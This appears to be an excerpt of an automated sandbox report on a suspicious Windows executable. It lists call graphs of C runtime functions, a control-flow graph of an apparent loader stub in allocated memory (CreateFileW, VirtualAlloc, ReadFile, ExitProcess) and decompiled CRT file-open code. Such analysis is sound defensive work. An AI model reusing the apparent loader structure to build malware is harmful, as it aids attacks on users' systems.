__dosmaperr 14 API calls 9592->9594 9595 406567 ___std_exception_copy 39 API calls 9593->9595 9594->9593 9595->9587 9596->9581 9598 4061f2 9597->9598 9599 406200 9597->9599 9598->9599 9604 406218 9598->9604 9600 407b6a __dosmaperr 14 API calls 9599->9600 9601 406208 9600->9601 9603 406567 ___std_exception_copy 39 API calls 9601->9603 9602 406212 9602->9312 9603->9602 9604->9602 9605 407b6a __dosmaperr 14 API calls 9604->9605 9605->9601 9607 405533 9606->9607 9611 405504 9606->9611 9608 40554a 9607->9608 9609 408694 __freea 14 API calls 9607->9609 9610 408694 __freea 14 API calls 9608->9610 9609->9607 9610->9611 9611->9313 9630 40475c 9612->9630 9615 404b74 9616 404b87 ___std_exception_copy 9615->9616 9681 404905 9616->9681 9619 4042bb ___std_exception_copy 39 API calls 9620 401056 9619->9620 9621 40472c 9620->9621 9622 40473f ___std_exception_copy 9621->9622 9867 404020 9622->9867 9625 4042bb ___std_exception_copy 39 API calls 9626 401062 9625->9626 9626->8892 9938 404da4 9627->9938 9633 404768 __FrameHandler3::FrameUnwindToState 9630->9633 9631 40476f 9632 407b6a __dosmaperr 14 API calls 9631->9632 9634 404774 9632->9634 9633->9631 9635 40478f 9633->9635 9636 406567 ___std_exception_copy 39 API calls 9634->9636 9637 4047a1 9635->9637 9638 404794 9635->9638 9639 401043 9636->9639 9647 407b7d 9637->9647 9640 407b6a __dosmaperr 14 API calls 9638->9640 9639->9615 9640->9639 9643 4047b1 9645 407b6a __dosmaperr 14 API calls 9643->9645 9644 4047be 9655 4047fc 9644->9655 9645->9639 9648 407b89 __FrameHandler3::FrameUnwindToState 9647->9648 9659 409f3e EnterCriticalSection 9648->9659 9650 407b97 9660 407c21 9650->9660 9656 404800 9655->9656 9680 4066fa LeaveCriticalSection 9656->9680 9658 404811 9658->9639 9659->9650 9661 407c44 9660->9661 9662 407c9c 9661->9662 9669 407ba4 9661->9669 9676 4066e6 EnterCriticalSection 9661->9676 9677 4066fa LeaveCriticalSection 9661->9677 9663 408637 __dosmaperr 14 API calls 9662->9663 9664 407ca5 9663->9664 9666 408694 __freea 14 API calls 9664->9666 9667 407cae 9666->9667 9668 40af1f __wsopen_s 6 API calls 9667->9668 9667->9669 9670 407ccd 9668->9670 9673 407bdd 9669->9673 9678 4066e6 EnterCriticalSection 9670->9678 9679 409f86 LeaveCriticalSection 9673->9679 9675 4047aa 9675->9643 9675->9644 9676->9661 9677->9661 9678->9669 9679->9675 9680->9658 9682 404911 __FrameHandler3::FrameUnwindToState 9681->9682 9683 404917 9682->9683 9685 40495a 9682->9685 9684 4064ea ___std_exception_copy 39 API calls 9683->9684 9686 404932 9684->9686 9692 4066e6 EnterCriticalSection 9685->9692 9686->9619 9688 404966 9693 404a88 9688->9693 9690 40497c 9702 4049a5 9690->9702 9692->9688 9694 404a9b 9693->9694 9695 404aae 9693->9695 9694->9690 9705 4049af 9695->9705 9697 404b5f 9697->9690 9698 404ad1 9698->9697 9709 4083c6 9698->9709 9866 4066fa LeaveCriticalSection 9702->9866 9704 4049ad 9704->9686 9706 404a18 9705->9706 9707 4049c0 9705->9707 9706->9698 9707->9706 9718 4068d4 9707->9718 9710 4083df 9709->9710 9714 404aff 9709->9714 9710->9714 9746 4065ab 9710->9746 9712 4083fb 9753 40cfd9 9712->9753 9715 406914 9714->9715 9716 406833 __fread_nolock 41 API calls 9715->9716 9717 40692d 9716->9717 9717->9697 9719 4068e8 ___std_exception_copy 9718->9719 9724 406833 9719->9724 9721 4068fd 9722 4042bb ___std_exception_copy 39 API calls 9721->9722 9723 40690c 9722->9723 9723->9706 9730 40a3b3 9724->9730 9726 406845 9727 406861 SetFilePointerEx 9726->9727 9729 40684d __fread_nolock 9726->9729 9728 406879 GetLastError 9727->9728 9727->9729 9728->9729 9729->9721 9731 40a3c0 9730->9731 9734 40a3d5 9730->9734 9743 407b57 9731->9743 9735 407b57 __dosmaperr 14 API calls 9734->9735 9737 40a3fa 9734->9737 9738 40a405 9735->9738 9736 407b6a __dosmaperr 14 API calls 9739 40a3cd 9736->9739 9737->9726 9740 407b6a __dosmaperr 14 API calls 9738->9740 9739->9726 9741 40a40d 9740->9741 9742 406567 ___std_exception_copy 39 API calls 9741->9742 9742->9739 9744 406dc1 __dosmaperr 14 API calls 9743->9744 9745 407b5c 9744->9745 9745->9736 9747 4065b7 9746->9747 9748 4065cc 9746->9748 9749 407b6a __dosmaperr 14 API calls 9747->9749 9748->9712 9750 4065bc 9749->9750 9751 406567 ___std_exception_copy 39 API calls 9750->9751 9752 4065c7 9751->9752 9752->9712 9755 40cfe5 __FrameHandler3::FrameUnwindToState 9753->9755 9754 40cfed 9754->9714 9755->9754 9756 40d026 9755->9756 9757 40d06c 9755->9757 9758 4064ea ___std_exception_copy 39 API calls 9756->9758 9764 40a137 EnterCriticalSection 9757->9764 9758->9754 9760 40d072 9761 40d090 9760->9761 9765 40d0ea 9760->9765 9791 40d0e2 9761->9791 9764->9760 9766 40d112 9765->9766 9790 40d135 __fread_nolock 9765->9790 9767 40d116 9766->9767 9769 40d171 9766->9769 9768 4064ea ___std_exception_copy 39 API calls 9767->9768 9768->9790 9770 40d18f 9769->9770 9771 406914 __wsopen_s 41 API calls 9769->9771 9794 40cc2f 9770->9794 9771->9770 9774 40d1a7 9778 40d1d6 9774->9778 9779 40d1af 9774->9779 9775 40d1ee 9776 40d202 9775->9776 9777 40d257 WriteFile 9775->9777 9782 40d243 9776->9782 9783 40d20a 9776->9783 9780 40d279 GetLastError 9777->9780 9777->9790 9806 40c800 GetConsoleOutputCP 9778->9806 9779->9790 9801 40cbc7 9779->9801 9780->9790 9834 40ccac 9782->9834 9786 40d22f 9783->9786 9787 40d20f 9783->9787 9826 40ce70 9786->9826 9787->9790 9819 40cd87 9787->9819 9790->9761 9865 40a1ec LeaveCriticalSection 9791->9865 9793 40d0e8 9793->9754 9841 40bb62 9794->9841 9796 40cca5 9796->9774 9796->9775 9797 40cc41 9797->9796 9798 40cc6f 9797->9798 9850 404830 9797->9850 9798->9796 9800 40cc89 GetConsoleMode 9798->9800 9800->9796 9802 40cc1e 9801->9802 9805 40cbe9 9801->9805 9802->9790 9803 40e770 5 API calls __wsopen_s 9803->9805 9804 40cc20 GetLastError 9804->9802 9805->9802 9805->9803 9805->9804 9807 40c872 9806->9807 9815 40c879 __fread_nolock 9806->9815 9808 404830 __wsopen_s 39 API calls 9807->9808 9808->9815 9809 401be5 __ehhandler$?_Init@?$_Mpunct@D@std@@IAEXABV_Locinfo@2@_N@Z 5 API calls 9810 40cbc0 9809->9810 9810->9790 9811 40b944 40 API calls __wsopen_s 9811->9815 9812 40e089 5 API calls __wsopen_s 9812->9815 9813 40cb2f 9813->9809 9814 409a30 __wsopen_s WideCharToMultiByte 9814->9815 9815->9811 9815->9812 9815->9813 9815->9814 9815->9815 9816 40caa8 WriteFile 9815->9816 9818 40cae6 WriteFile 9815->9818 9816->9815 9817 40cb9e GetLastError 9816->9817 9817->9813 9818->9815 9818->9817 9823 40cd96 __wsopen_s 9819->9823 9820 40ce55 9822 401be5 __ehhandler$?_Init@?$_Mpunct@D@std@@IAEXABV_Locinfo@2@_N@Z 5 API calls 9820->9822 9821 40ce0b WriteFile 9821->9823 9824 40ce57 GetLastError 9821->9824 9825 40ce6e 9822->9825 9823->9820 9823->9821 9824->9820 9825->9790 9829 40ce7f __wsopen_s 9826->9829 9827 40cf87 9828 401be5 __ehhandler$?_Init@?$_Mpunct@D@std@@IAEXABV_Locinfo@2@_N@Z 5 API calls 9827->9828 9830 40cfa0 9828->9830 9829->9827 9831 409a30 __wsopen_s WideCharToMultiByte 9829->9831 9832 40cf89 GetLastError 9829->9832 9833 40cf3e WriteFile 9829->9833 9830->9790 9831->9829 9832->9827 9833->9829 9833->9832 9839 40ccbb __wsopen_s 9834->9839 9835 40cd6c 9836 401be5 __ehhandler$?_Init@?$_Mpunct@D@std@@IAEXABV_Locinfo@2@_N@Z 5 API calls 9835->9836 9837 40cd85 9836->9837 9837->9790 9838 40cd2b WriteFile 9838->9839 9840 40cd6e GetLastError 9838->9840 9839->9835 9839->9838 9840->9835 9842 40bb7c 9841->9842 9843 40bb6f 9841->9843 9845 40bb88 9842->9845 9846 407b6a __dosmaperr 14 API calls 9842->9846 9844 407b6a __dosmaperr 14 API calls 9843->9844 9847 40bb74 9844->9847 9845->9797 9848 40bba9 9846->9848 9847->9797 9849 406567 ___std_exception_copy 39 API calls 9848->9849 9849->9847 9851 404704 ___std_exception_copy 39 API calls 9850->9851 9852 404840 9851->9852 9857 40815e 9852->9857 9858 408175 9857->9858 9859 40485d 9857->9859 9858->9859 9860 40aadb __wsopen_s 39 API calls 9858->9860 9861 4081bc 9859->9861 9860->9859 9862 4081d3 9861->9862 9863 40486a 9861->9863 9862->9863 9864 40965e __wsopen_s 39 API calls 9862->9864 9863->9798 9864->9863 9865->9793 9866->9704 9868 40402c __FrameHandler3::FrameUnwindToState 9867->9868 9869 404033 9868->9869 9870 404054 9868->9870 9871 4064ea ___std_exception_copy 39 API calls 9869->9871 9878 4066e6 EnterCriticalSection 9870->9878 9873 40404c 9871->9873 9873->9625 9874 40405f 9879 4040a0 9874->9879 9878->9874 9885 4040d2 9879->9885 9881 40406e 9882 404096 9881->9882 9937 4066fa LeaveCriticalSection 9882->9937 9884 40409e 9884->9873 9886 4040e1 9885->9886 9887 404109 9885->9887 9888 4064ea ___std_exception_copy 39 API calls 9886->9888 9889 4065ab __fread_nolock 39 API calls 9887->9889 9898 4040fc __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z 9888->9898 9890 404112 9889->9890 9899 4068b6 9890->9899 9893 4041bc 9902 4044c2 9893->9902 9895 4041d3 9895->9898 9914 4042f7 9895->9914 9898->9881 9921 40670e 9899->9921 9903 4044d1 __wsopen_s 9902->9903 9904 4065ab __fread_nolock 39 API calls 9903->9904 9906 4044ed __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z 9904->9906 9905 401be5 __ehhandler$?_Init@?$_Mpunct@D@std@@IAEXABV_Locinfo@2@_N@Z 5 API calls 9907 4041cb 9905->9907 9908 4068b6 43 API calls 9906->9908 9913 4044f9 9906->9913 9907->9898 9909 40454d 9908->9909 9910 40457f ReadFile 9909->9910 9909->9913 9911 4045a6 9910->9911 9910->9913 9912 4068b6 43 API calls 9911->9912 9912->9913 9913->9905 9915 4065ab __fread_nolock 39 API calls 9914->9915 9916 40430a 9915->9916 9917 404354 __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z 9916->9917 9918 4068b6 43 API calls 9916->9918 9917->9898 9919 4043b1 9918->9919 9919->9917 9920 4068b6 43 API calls 9919->9920 9920->9917 9922 40671a __FrameHandler3::FrameUnwindToState 9921->9922 9923 40675d 9922->9923 9925 4067a3 9922->9925 9931 404130 9922->9931 9924 4064ea ___std_exception_copy 39 API calls 9923->9924 9924->9931 9932 40a137 EnterCriticalSection 9925->9932 9927 4067a9 9928 4067ca 9927->9928 9929 406833 __fread_nolock 41 API calls 9927->9929 9933 40682b 9928->9933 9929->9928 9931->9893 9931->9895 9931->9898 9932->9927 9936 40a1ec LeaveCriticalSection 9933->9936 9935 406831 9935->9931 9936->9935 9937->9884 9940 404db0 __FrameHandler3::FrameUnwindToState 9938->9940 9939 4010a1 9940->9939 9941 404dc3 __fread_nolock 9940->9941 9942 404dfa 9940->9942 9944 407b6a __dosmaperr 14 API calls 9941->9944 9951 4066e6 EnterCriticalSection 9942->9951 9946 404ddd 9944->9946 9945 404e04 9952 404bae 9945->9952 9948 406567 ___std_exception_copy 39 API calls 9946->9948 9948->9939 9951->9945 9955 404bc0 __fread_nolock 9952->9955 9958 404bdd 9952->9958 9953 404bcd 9954 407b6a __dosmaperr 14 API calls 9953->9954 9956 404bd2 9954->9956 9955->9953 9955->9958 9960 404c1e __fread_nolock 9955->9960 9957 406567 ___std_exception_copy 39 API calls 9956->9957 9957->9958 9965 404e39 9958->9965 9959 404d49 __fread_nolock 9963 407b6a __dosmaperr 14 API calls 9959->9963 9960->9958 9960->9959 9961 404e41 __fread_nolock 39 API calls 9960->9961 9962 4065ab __fread_nolock 39 API calls 9960->9962 9968 407550 9960->9968 9961->9960 9962->9960 9963->9956 10065 4066fa LeaveCriticalSection 9965->10065 9967 404e3f 9967->9939 9969 407562 9968->9969 9970 40757a 9968->9970 9971 407b57 __dosmaperr 14 API calls 9969->9971 9972 4078bc 9970->9972 9977 4075bd 9970->9977 9973 407567 9971->9973 9974 407b57 __dosmaperr 14 API calls 9972->9974 9975 407b6a __dosmaperr 14 API calls 9973->9975 9976 4078c1 9974->9976 9978 40756f 9975->9978 9979 407b6a __dosmaperr 14 API calls 9976->9979 9977->9978 9980 4075c8 9977->9980 9985 4075f8 9977->9985 9978->9960 9981 4075d5 9979->9981 9982 407b57 __dosmaperr 14 API calls 9980->9982 9986 406567 ___std_exception_copy 39 API calls 9981->9986 9983 4075cd 9982->9983 9984 407b6a __dosmaperr 14 API calls 9983->9984 9984->9981 9987 407611 9985->9987 9988 40764c 9985->9988 9989 40761e 9985->9989 9986->9978 9987->9989 9990 40763a 9987->9990 9993 40a6a3 __fread_nolock 15 API calls 9988->9993 9992 407b57 __dosmaperr 14 API calls 9989->9992 9997 40bb62 __fread_nolock 39 API calls 9990->9997 9994 407623 9992->9994 9995 40765d 9993->9995 9996 407b6a __dosmaperr 14 API calls 9994->9996 9998 408694 __freea 14 API calls 9995->9998 9999 40762a 9996->9999 10000 407798 9997->10000 10001 407666 9998->10001 10002 406567 ___std_exception_copy 39 API calls 9999->10002 10003 40780c 10000->10003 10004 4077b1 GetConsoleMode 10000->10004 10005 408694 __freea 14 API calls 10001->10005 10032 407635 __fread_nolock 10002->10032 10006 407810 ReadFile 10003->10006 10004->10003 10007 4077c2 10004->10007 10008 40766d 10005->10008 10009 407884 GetLastError 10006->10009 10010 407828 10006->10010 10007->10006 10011 4077c8 ReadConsoleW 10007->10011 10012 407692 10008->10012 10013 407677 10008->10013 10014 407891 10009->10014 10015 4077e8 10009->10015 10010->10009 10016 407801 10010->10016 10011->10016 10018 4077e2 GetLastError 10011->10018 10017 4068d4 __fread_nolock 41 API calls 10012->10017 10020 407b6a __dosmaperr 14 API calls 10013->10020 10021 407b6a __dosmaperr 14 API calls 10014->10021 10015->10032 10035 407b10 10015->10035 10027 407864 10016->10027 10028 40784d 10016->10028 10016->10032 10023 4076a0 10017->10023 10018->10015 10019 408694 __freea 14 API calls 10019->9978 10025 40767c 10020->10025 10022 407896 10021->10022 10026 407b57 __dosmaperr 14 API calls 10022->10026 10023->9990 10029 407b57 __dosmaperr 14 API calls 10025->10029 10026->10032 10031 40787d 10027->10031 10027->10032 10040 407262 10028->10040 10034 407687 10029->10034 10053 4070a8 10031->10053 10032->10019 10034->10032 10036 407b57 __dosmaperr 14 API calls 10035->10036 10037 407b1b __dosmaperr 10036->10037 10038 407b6a __dosmaperr 14 API calls 10037->10038 10039 407b2e 10038->10039 10039->10032 10059 406f5b 10040->10059 10042 409976 __fread_nolock MultiByteToWideChar 10043 407376 10042->10043 10047 40737f GetLastError 10043->10047 10050 4072aa 10043->10050 10044 407304 10051 4072be 10044->10051 10052 4068d4 __fread_nolock 41 API calls 10044->10052 10045 4072f4 10048 407b6a __dosmaperr 14 API calls 10045->10048 10049 407b10 __dosmaperr 14 API calls 10047->10049 10048->10050 10049->10050 10050->10032 10051->10042 10052->10051 10055 4070e2 10053->10055 10054 407173 10054->10034 10055->10054 10056 407178 ReadFile 10055->10056 10056->10054 10057 407195 10056->10057 10057->10054 10058 4068d4 __fread_nolock 41 API calls 10057->10058 10058->10054 10060 406f8f 10059->10060 10061 407000 ReadFile 10060->10061 10062 406ffb 10060->10062 10061->10062 10063 407019 10061->10063 10062->10044 10062->10045 10062->10050 10062->10051 10063->10062 10064 4068d4 __fread_nolock 41 API calls 10063->10064 10064->10062 10065->9967 10067 405853 10066->10067 10068 405864 10066->10068 10077 4018b6 GetModuleHandleW 10067->10077 10084 4056d6 10068->10084 10073 401419 10073->8910 10078 4018c2 10077->10078 10078->10068 10079 405907 GetModuleHandleExW 10078->10079 10080 405946 GetProcAddress 10079->10080 10081 40595a 10079->10081 10080->10081 10082 405976 10081->10082 10083 40596d FreeLibrary 10081->10083 10082->10068 10083->10082 10085 4056e2 __FrameHandler3::FrameUnwindToState 10084->10085 10099 409f3e EnterCriticalSection 10085->10099 10087 4056ec 10100 40573e 10087->10100 10089 4056f9 10104 405717 10089->10104 10092 4058bd 10129 4058ee 10092->10129 10094 4058c7 10095 4058db 10094->10095 10096 4058cb GetCurrentProcess TerminateProcess 10094->10096 10097 405907 _unexpected 3 API calls 10095->10097 10096->10095 10098 4058e3 ExitProcess 10097->10098 10099->10087 10101 40574a __FrameHandler3::FrameUnwindToState _unexpected 10100->10101 10103 4057ae _unexpected 10101->10103 10107 405f4c 10101->10107 10103->10089 10128 409f86 LeaveCriticalSection 10104->10128 10106 405705 10106->10073 10106->10092 10108 405f58 __EH_prolog3 10107->10108 10111 405ca4 10108->10111 10110 405f7f _unexpected 10110->10103 10112 405cb0 __FrameHandler3::FrameUnwindToState 10111->10112 10119 409f3e EnterCriticalSection 10112->10119 10114 405cbe 10120 405e5c 10114->10120 10119->10114 10121 405ccb 10120->10121 10122 405e7b 10120->10122 10124 405cf3 10121->10124 10122->10121 10123 408694 __freea 14 API calls 10122->10123 10123->10121 10127 409f86 LeaveCriticalSection 10124->10127 10126 405cdc 10126->10110 10127->10126 10128->10106 10132 409fc2 10129->10132 10131 4058f3 _unexpected 10131->10094 10133 409fd1 _unexpected 10132->10133 10134 409fde 10133->10134 10136 40ad64 10133->10136 10134->10131 10137 40acdf __dosmaperr 5 API calls 10136->10137 10138 40ad80 10137->10138 10138->10134 11551 406b37 11552 406b42 11551->11552 11553 406b52 11551->11553 11557 406b58 11552->11557 11556 408694 __freea 14 API calls 11556->11553 11558 406b73 11557->11558 11559 406b6d 11557->11559 11561 408694 __freea 14 API calls 11558->11561 11560 408694 __freea 14 API calls 11559->11560 11560->11558 11562 406b7f 11561->11562 11563 408694 __freea 14 API calls 11562->11563 11564 406b8a 11563->11564 11565 408694 __freea 14 API calls 11564->11565 11566 406b95 11565->11566 11567 408694 __freea 14 API calls 11566->11567 11568 406ba0 11567->11568 11569 408694 __freea 14 API calls 11568->11569 11570 406bab 11569->11570 11571 408694 __freea 14 API calls 11570->11571 11572 406bb6 11571->11572 11573 408694 __freea 14 API calls 11572->11573 11574 406bc1 11573->11574 11575 408694 __freea 14 API calls 11574->11575 11576 406bcc 11575->11576 11577 408694 __freea 14 API calls 11576->11577 11578 406bda 11577->11578 11583 406984 11578->11583 11584 406990 __FrameHandler3::FrameUnwindToState 11583->11584 11599 409f3e EnterCriticalSection 11584->11599 11586 4069c4 11600 4069e3 11586->11600 11588 40699a 11588->11586 11590 408694 __freea 14 API calls 11588->11590 11590->11586 11591 4069ef 11592 4069fb __FrameHandler3::FrameUnwindToState 11591->11592 11604 409f3e EnterCriticalSection 11592->11604 11594 406a05 11595 406c25 __dosmaperr 14 API calls 11594->11595 11596 406a18 11595->11596 11605 406a38 11596->11605 11599->11588 11603 409f86 LeaveCriticalSection 11600->11603 11602 4069d1 11602->11591 11603->11602 11604->11594 11608 409f86 LeaveCriticalSection 11605->11608 11607 406a26 11607->11556 11608->11607

          Control-flow Graph

          • Executed
          • Not Executed
          control_flow_graph 362 9f08b7-9f09b9 call 9f005f call 9f0838 call 9f0073 * 8 384 9f09bb 362->384 385 9f09c0-9f09d0 362->385 386 9f0d69-9f0d6c 384->386 388 9f09d7-9f09fa CreateFileW 385->388 389 9f09d2 385->389 390 9f09fc 388->390 391 9f0a01-9f0a27 VirtualAlloc ReadFile 388->391 389->386 390->386 392 9f0a2e-9f0a41 391->392 393 9f0a29 391->393 395 9f0a47-9f0d4e 392->395 396 9f0d53-9f0d62 call 9f020a 392->396 393->386 399 9f0d64-9f0d66 ExitProcess 396->399
          Memory Dump Source
          • Source File: 00000001.00000002.254422832.00000000009F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 009F0000, based on PE: false
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_1_2_9f0000_rtvzitvzef.jbxd
          Similarity
          • API ID: AllocNumaVirtual
          • String ID:
          • API String ID: 4233825816-0
          • Opcode ID: 759312b10e46b33cdf8f06c704743fda12003798a32eb31f82baf333b18b0a89
          • Instruction ID: 58a7ba657d19a9901557688072e6f1c40ee1f2c0aa7a300a9a61df14010a0fae
          • Opcode Fuzzy Hash: 759312b10e46b33cdf8f06c704743fda12003798a32eb31f82baf333b18b0a89
          • Instruction Fuzzy Hash: A8F18320D4D2DDADDF02CBE985147FDBFB45F26202F0841D6E5E4B6283C53A834A9B25
          Uniqueness

          Uniqueness Score: -1.00%

          Control-flow Graph

          • Executed
          • Not Executed
          control_flow_graph 523 9f07da-9f0820 call 9f005f call 9f0073 GetSystemInfo 529 9f0829 523->529 530 9f0822-9f0825 523->530 531 9f082b-9f082e 529->531 530->531
          APIs
          • GetSystemInfo.KERNELBASE(?), ref: 009F07F7
          Memory Dump Source
          • Source File: 00000001.00000002.254422832.00000000009F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 009F0000, based on PE: false
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_1_2_9f0000_rtvzitvzef.jbxd
          Similarity
          • API ID: InfoSystem
          • String ID:
          • API String ID: 31276548-0
          • Opcode ID: fa2979548fe31277adddc85b40786a5f89b5b758f8f4ce622a53a7dd496667a7
          • Instruction ID: 38070479043699ef005dc82960784522c74da23d3747c76d42ff8d227f8710c5
          • Opcode Fuzzy Hash: fa2979548fe31277adddc85b40786a5f89b5b758f8f4ce622a53a7dd496667a7
          • Instruction Fuzzy Hash: 8EF0E572E1410CAFDF08EAF88845BBEB7ECDB88340F10467DEB16E2242E935854083E0
          Uniqueness

          Uniqueness Score: -1.00%

          Control-flow Graph

          • Executed
          • Not Executed
          control_flow_graph 533 4018f8-401903 SetUnhandledExceptionFilter
          C-Code - Quality: 100%
          			E004018F8() {
          				_Unknown_base(*)()* _t1;
          
          				_t1 = SetUnhandledExceptionFilter(E00401904); // executed
          				return _t1;
          			}




          0x004018fd
          0x00401903

          APIs
          • SetUnhandledExceptionFilter.KERNELBASE(Function_00001904,00401293), ref: 004018FD
          Memory Dump Source
          • Source File: 00000001.00000002.253945200.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
          • Associated: 00000001.00000002.253939046.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
          • Associated: 00000001.00000002.253974669.0000000000411000.00000002.00000001.01000000.00000004.sdmpDownload File
          • Associated: 00000001.00000002.253985561.0000000000418000.00000004.00000001.01000000.00000004.sdmpDownload File
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_1_2_400000_rtvzitvzef.jbxd
          Similarity
          • API ID: ExceptionFilterUnhandled
          • String ID:
          • API String ID: 3192549508-0
          • Opcode ID: b755dcbb7af07ac9c81e13e1733f710bb07da44beaed3427e740af2affbf1b5f
          • Instruction ID: 3c76379c11a141df46b3ea9b27e7dd020c20bdbff8068edec9eb88929e08c5b5
          • Opcode Fuzzy Hash: b755dcbb7af07ac9c81e13e1733f710bb07da44beaed3427e740af2affbf1b5f
          • Instruction Fuzzy Hash:
          Uniqueness

          Uniqueness Score: -1.00%

          Control-flow Graph

          C-Code - Quality: 38%
          			E0040C3B7(void* __ecx, void* __eflags, intOrPtr* _a4, signed int* _a8, intOrPtr _a12, signed int _a16, intOrPtr _a20, intOrPtr _a24) {
          				signed int _v5;
          				void* _v12;
          				signed int _v16;
          				signed int _v20;
          				signed int _v24;
          				char _v28;
          				intOrPtr _v40;
          				signed int _v48;
          				void _v52;
          				char _v76;
          				void* __ebx;
          				void* __edi;
          				void* __esi;
          				void* __ebp;
          				signed int _t114;
          				void* _t122;
          				signed int _t123;
          				signed char _t124;
          				signed int _t134;
          				intOrPtr _t162;
          				intOrPtr _t178;
          				void* _t188;
          				signed int* _t189;
          				signed int _t191;
          				signed int _t196;
          				signed int _t202;
          				signed int _t205;
          				signed int _t214;
          				signed int _t216;
          				signed int _t218;
          				signed int _t224;
          				signed int _t226;
          				signed int _t233;
          				signed int _t234;
          				signed int _t236;
          				signed int _t238;
          				signed char _t241;
          				signed int _t242;
          				intOrPtr _t246;
          				void* _t249;
          				void* _t253;
          				void* _t263;
          				signed int _t264;
          				signed int _t267;
          				signed int _t268;
          				signed int _t271;
          				void* _t273;
          				void* _t275;
          				void* _t276;
          				void* _t278;
          				void* _t279;
          				void* _t281;
          				void* _t285;
          
          				_t263 = E0040C105(__ecx,  &_v76, _a16, _a20, _a24);
          				_t191 = 6;
          				memcpy( &_v52, _t263, _t191 << 2);
          				_t275 = _t273 + 0x1c;
          				_t249 = _t263 + _t191 + _t191;
          				_t264 = _t263 | 0xffffffff;
          				if(_v40 != _t264) {
          					_t114 = E0040A20F(_t188, _t249, _t264, __eflags);
          					_t189 = _a8;
          					 *_t189 = _t114;
          					__eflags = _t114 - _t264;
          					if(_t114 != _t264) {
          						_v24 = _v24 & 0x00000000;
          						_v28 = 0xc;
          						_t276 = _t275 - 0x18;
          						 *_a4 = 1;
          						_push(6);
          						_v20 =  !(_a16 >> 7) & 1;
          						_push( &_v28);
          						_push(_a12);
          						memcpy(_t276,  &_v52, 1 << 2);
          						_t196 = 0;
          						_t122 = E0040C070(); // executed
          						_t253 = _t122;
          						_t278 = _t276 + 0x2c;
          						_v12 = _t253;
          						__eflags = _t253 - 0xffffffff;
          						if(_t253 != 0xffffffff) {
          							L11:
          							_t123 = GetFileType(_t253); // executed
          							__eflags = _t123;
          							if(_t123 != 0) {
          								__eflags = _t123 - 2;
          								if(_t123 != 2) {
          									__eflags = _t123 - 3;
          									_t124 = _v52;
          									if(_t123 == 3) {
          										_t124 = _t124 | 0x00000008;
          										__eflags = _t124;
          									}
          								} else {
          									_t124 = _v52 | 0x00000040;
          								}
          								_v5 = _t124;
          								E0040A15A(_t196,  *_t189, _t253);
          								_t241 = _v5 | 0x00000001;
          								_v16 = _t241;
          								_v52 = _t241;
          								 *( *((intOrPtr*)(0x418ec0 + ( *_t189 >> 6) * 4)) + 0x28 + ( *_t189 & 0x0000003f) * 0x38) = _t241;
          								_t202 =  *_t189;
          								_t204 = (_t202 & 0x0000003f) * 0x38;
          								__eflags = _a16 & 0x00000002;
          								 *((char*)( *((intOrPtr*)(0x418ec0 + (_t202 >> 6) * 4)) + 0x29 + (_t202 & 0x0000003f) * 0x38)) = 0;
          								if((_a16 & 0x00000002) == 0) {
          									L22:
          									_v5 = 0;
          									_push( &_v5);
          									_push(_a16);
          									_t279 = _t278 - 0x18;
          									_t205 = 6;
          									_push( *_t189);
          									memcpy(_t279,  &_v52, _t205 << 2);
          									_t134 = E0040BE1A(_t189,  &_v52 + _t205 + _t205,  &_v52);
          									_t242 =  *_t189;
          									_t267 = _t134;
          									_t281 = _t279 + 0x30;
          									__eflags = _t267;
          									if(_t267 == 0) {
          										 *((char*)( *((intOrPtr*)(0x418ec0 + (_t242 >> 6) * 4)) + 0x29 + (_t242 & 0x0000003f) * 0x38)) = _v5;
          										 *( *((intOrPtr*)(0x418ec0 + ( *_t189 >> 6) * 4)) + 0x2d + ( *_t189 & 0x0000003f) * 0x38) =  *( *((intOrPtr*)(0x418ec0 + ( *_t189 >> 6) * 4)) + 0x2d + ( *_t189 & 0x0000003f) * 0x38) ^ (_a16 >> 0x00000010 ^  *( *((intOrPtr*)(0x418ec0 + ( *_t189 >> 6) * 4)) + 0x2d + ( *_t189 & 0x0000003f) * 0x38)) & 0x00000001;
          										__eflags = _v16 & 0x00000048;
          										if((_v16 & 0x00000048) == 0) {
          											__eflags = _a16 & 0x00000008;
          											if((_a16 & 0x00000008) != 0) {
          												_t224 =  *_t189;
          												_t226 = (_t224 & 0x0000003f) * 0x38;
          												_t162 =  *((intOrPtr*)(0x418ec0 + (_t224 >> 6) * 4));
          												_t87 = _t162 + _t226 + 0x28;
          												 *_t87 =  *(_t162 + _t226 + 0x28) | 0x00000020;
          												__eflags =  *_t87;
          											}
          										}
          										_t268 = _v48;
          										__eflags = (_t268 & 0xc0000000) - 0xc0000000;
          										if((_t268 & 0xc0000000) != 0xc0000000) {
          											L32:
          											__eflags = 0;
          											return 0;
          										} else {
          											__eflags = _a16 & 0x00000001;
          											if((_a16 & 0x00000001) == 0) {
          												goto L32;
          											}
          											CloseHandle(_v12);
          											_v48 = _t268 & 0x7fffffff;
          											_t214 = 6;
          											_push( &_v28);
          											_push(_a12);
          											memcpy(_t281 - 0x18,  &_v52, _t214 << 2);
          											_t246 = E0040C070();
          											__eflags = _t246 - 0xffffffff;
          											if(_t246 != 0xffffffff) {
          												_t216 =  *_t189;
          												_t218 = (_t216 & 0x0000003f) * 0x38;
          												__eflags = _t218;
          												 *((intOrPtr*)( *((intOrPtr*)(0x418ec0 + (_t216 >> 6) * 4)) + _t218 + 0x18)) = _t246;
          												goto L32;
          											}
          											E00407B10(GetLastError());
          											 *( *((intOrPtr*)(0x418ec0 + ( *_t189 >> 6) * 4)) + 0x28 + ( *_t189 & 0x0000003f) * 0x38) =  *( *((intOrPtr*)(0x418ec0 + ( *_t189 >> 6) * 4)) + 0x28 + ( *_t189 & 0x0000003f) * 0x38) & 0x000000fe;
          											E0040A322( *_t189);
          											L10:
          											goto L2;
          										}
          									}
          									_push(_t242);
          									goto L21;
          								} else {
          									_t267 = E0040C27F(_t204,  *_t189);
          									__eflags = _t267;
          									if(_t267 == 0) {
          										goto L22;
          									}
          									_push( *_t189);
          									L21:
          									E0040E6A0();
          									return _t267;
          								}
          							}
